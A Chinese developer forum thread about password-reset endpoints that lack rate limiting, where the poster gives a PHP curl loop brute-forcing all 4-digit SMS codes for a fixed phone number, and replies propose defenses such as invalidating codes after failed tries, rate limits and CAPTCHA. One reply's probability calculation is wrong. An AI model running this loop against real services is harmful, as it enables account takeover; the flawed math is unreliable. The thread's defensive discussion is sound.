我刚想到一个普遍存在的重置密码的BUG

我想表达的是:我见过很多人没有做限制,我不是问解决方案!!!

我表达的不是很清楚,有些人好像没有明白意思,我用代码实现

前提:没有限流、验证的中小型项目

假设,修改密码接口需要手机号+验证码+新密码且没有任何限流措施,我只需发送一次短信,然后我循环10000次修改接口,验证码从0001、0002一直到9998、9999

<?php
$curl = curl_init();
for ($i = 0; $i < 10000; $i++) {
    curl_setopt($curl, CURLOPT_URL, '修改密码接口url');
    //设置头文件的信息作为数据流输出
    curl_setopt($curl, CURLOPT_HEADER, 1);
    //设置获取的信息以文件流的形式返回,而不是直接输出。
    curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
    //设置post方式提交
    curl_setopt($curl, CURLOPT_POST, 1);
    $post_data = [
        "mobile" => "18366666666",
        "sms_code" => $i,
        "password" => "12345678"
    ]; 
    curl_setopt($curl, CURLOPT_POSTFIELDS, $post_data);
    $data = curl_exec($curl);
    print_r($data);
}
curl_close($curl);
bug
让PHP再次伟大
《L04 微信小程序从零到发布》
从小程序个人账户申请开始,带你一步步进行开发一个微信小程序,直到提交微信控制台上线发布。
《G01 Go 实战入门》
从零开始带你一步步开发一个 Go 博客项目,让你在最短的时间内学会使用 Go 进行编码。项目结构很大程度上参考了 Laravel。
最佳答案

我一般是只要你提交了验证码,那么不管正不正确,那么原来的都作废

10个月前 评论
忆往昔弹指间 10个月前
勇敢的心 (楼主) 10个月前
petrichor_di 10个月前
翟宇鑫 10个月前
Leesinyii 10个月前
讨论数量: 69

我一般是只要你提交了验证码,那么不管正不正确,那么原来的都作废

10个月前 评论
忆往昔弹指间 10个月前
勇敢的心 (楼主) 10个月前
petrichor_di 10个月前
翟宇鑫 10个月前
Leesinyii 10个月前
foobar

一般对接的云运营商的短信的业务都会对手机号发送频率做限制的,一次发送10000次不现实。

10个月前 评论
勇敢的心 (楼主) 10个月前

file

基本上不存在你说的情况,除非黑作坊

10个月前 评论

中小项目,被盗了又能怎样呢?

10个月前 评论
勇敢的心 (楼主) 10个月前
Leesinyii 10个月前

我一般是只要你提交了验证码,那么不管正不正确,那么原来的都作废

10个月前 评论
忆往昔弹指间 10个月前
勇敢的心 (楼主) 10个月前
petrichor_di 10个月前
翟宇鑫 10个月前
Leesinyii 10个月前
你看我吊吗啊

.............. 短信验证码是随机的

10个月前 评论
勇敢的心 (楼主) 10个月前
你看我吊吗啊 (作者) 10个月前

我记得 同一个手机号 收到的次数是有限制的, 貌似是 短信运营商也有限制。

Laravel

10个月前 评论
勇敢的心 (楼主) 10个月前
kis龍 (作者) 10个月前
lun1bz 10个月前
kis龍 (作者) 10个月前
lun1bz 10个月前
kis龍 (作者) 10个月前

假设随机4位数字中没有重复数字,那么可能的数字组合有 10 × 9 × 8 × 7 = 5,040 种。如果你每次随机尝试一个数字,那么在第一次尝试中成功的概率是 1/5,040,如果第一次尝试失败,则在第二次尝试中成功的概率是 1/5,039,以此类推。因此,在尝试10000次后,成功的概率为:

1 - ((5040/5040) × (5039/5040) × (5038/5040) × ... × (5040-10000+1)/5040)

这个计算过程可以通过计算器或数学软件进行计算,得到成功的概率大约是 28.5%。请注意,这个计算结果是基于没有重复数字的前提下计算的,如果有重复数字,则可能的数字组合数会更少,概率会相应变大。

这还是还是 4 位验证码不变的情况下,正常每发送一次短信时,4位验证码就变一次。

10个月前 评论

:sweat_smile:你说的这个问题只能说部分存在;绝大多数情况下,验证码有时间和次数的限制。

10个月前 评论

6 是有一定道理的

10个月前 评论
勇敢的心 (楼主) 10个月前

理论上可行的,发一次短信然后无限尝试,如果短信过期就再发,如果限流就过会继续,4位数最多1万次,6位数最多100万次,好多办法就是楼上说的提交一次就过期,或者按照提交次数依时间递增锁接口或账号,参考苹果锁屏密码

10个月前 评论
勇敢的心 (楼主) 10个月前

增加行为验证,网易腾讯极验验证等

10个月前 评论
勇敢的心 (楼主) 10个月前
Imuyu (作者) 10个月前
Tomo11111

同一时间只会有一个验证码有效
获取验证码需要图形验证,对同一 ip 和同一用户进行限流
验证码设置为6位数字,应该能防住你这种行为

10个月前 评论

用redis的list存储验证码,允许几次就push几个验证码,每次pop验证,验证成功全都删除。这样最多只有验证码数量次数请求有效。 :joy: redis真香!!!

10个月前 评论
lun1bz 10个月前

以提现为例子

字段有提现金额,图形验证码,短信验证码

步骤为

输入图形验证码获取短信验证码
提交的时候只验证短信验证码,如果不过什么情况都把短信验证码设为失效,体验太差
但是在提交的时候进行行为验证,就好很多了

10个月前 评论
勇敢的心 (楼主) 10个月前
Imuyu (作者) 10个月前

你这种攻击太容易防守,首先你的拿到用户库,也就是用户的手机号,然后去撞库,然后还容易被发现。加上限流不难,假设你再用随机ip,那再加上图形验证,在加上失效次数,都不难,但是你的攻击难度缺越来越高,除非是小型项目,但是你攻击收益很低,划不来的。中型项目这种BUG最多一天就给你修了。主要你还是需要拿到用户库,那说明对方数据库都暴露了,谈不上安全,攻击数据库还来的更容易。

10个月前 评论
勇敢的心 (楼主) 10个月前
ononl (作者) 10个月前

那种不做限流的小项目爆破了也没啥意义 :joy:

10个月前 评论
chowjiawei

file

我是做了个缓存 有用验证码的功能 超过一定次数错误 都会被清空 要求重新获取验证码

10个月前 评论
sanders

防御手段主要是及时删除临时令牌并给临时令牌设置寿命。

另外,做好授权相关接口的日志,以便以后提起诉讼时调查取证。

10个月前 评论
勇敢的心 (楼主) 10个月前

这属于业务bug吧,我一般都是验证码错了就作废

10个月前 评论
勇敢的心 (楼主) 10个月前

我觉得你提供了一个很好得思路,感觉很多人不懂你

10个月前 评论
勇敢的心 (楼主) 10个月前
liaosp (作者) 10个月前
勇敢的心 (楼主) 10个月前
Leesinyii 10个月前

错误5次验证码失效

10个月前 评论
Leesinyii 10个月前

修改密码接口让你无限调用那么多次

10个月前 评论
JinBB 10个月前
FatTiger (作者) 10个月前

我们这个项目好像就可以这样 :neutral_face:但是没有修改密码的选项,只能验证码登录,另外验证码有有效期,估计这服务器也顶不住几分钟内百万次的请求,物理上杜绝了这种可能,当然如果几次就懵对那就另说

10个月前 评论
勇敢的心 (楼主) 10个月前
lun1bz (作者) 10个月前
lun1bz (作者) 10个月前

一般都会有限制次数,我这是5次, 包括发送验证码针对每个Ip,每个用户都有限制。

10个月前 评论
panda-sir

大聪明呢- - 验证过后 验证失败 验证码也会失效的 需要重新发送

10个月前 评论
勇敢的心 (楼主) 10个月前

感谢提醒

10个月前 评论

确实挺多中小型企业忽略掉这个问题,其实还有另一种方案,每次请求都限制间隔就好了

10个月前 评论

我们一般是验证3次或者5次不成功就会让用户重新发送验证码了

10个月前 评论

:joy: 看了一下,我感觉是提醒大家不要偷懒,记得要做好限制,怎么都来说解决方案了 :speak_no_evil:

10个月前 评论
李铭昕

很有趣,确实是一个常见的漏洞

10个月前 评论

讨论应以学习和精进为目的。请勿发布不友善或者负能量的内容,与人为善,比聪明更重要!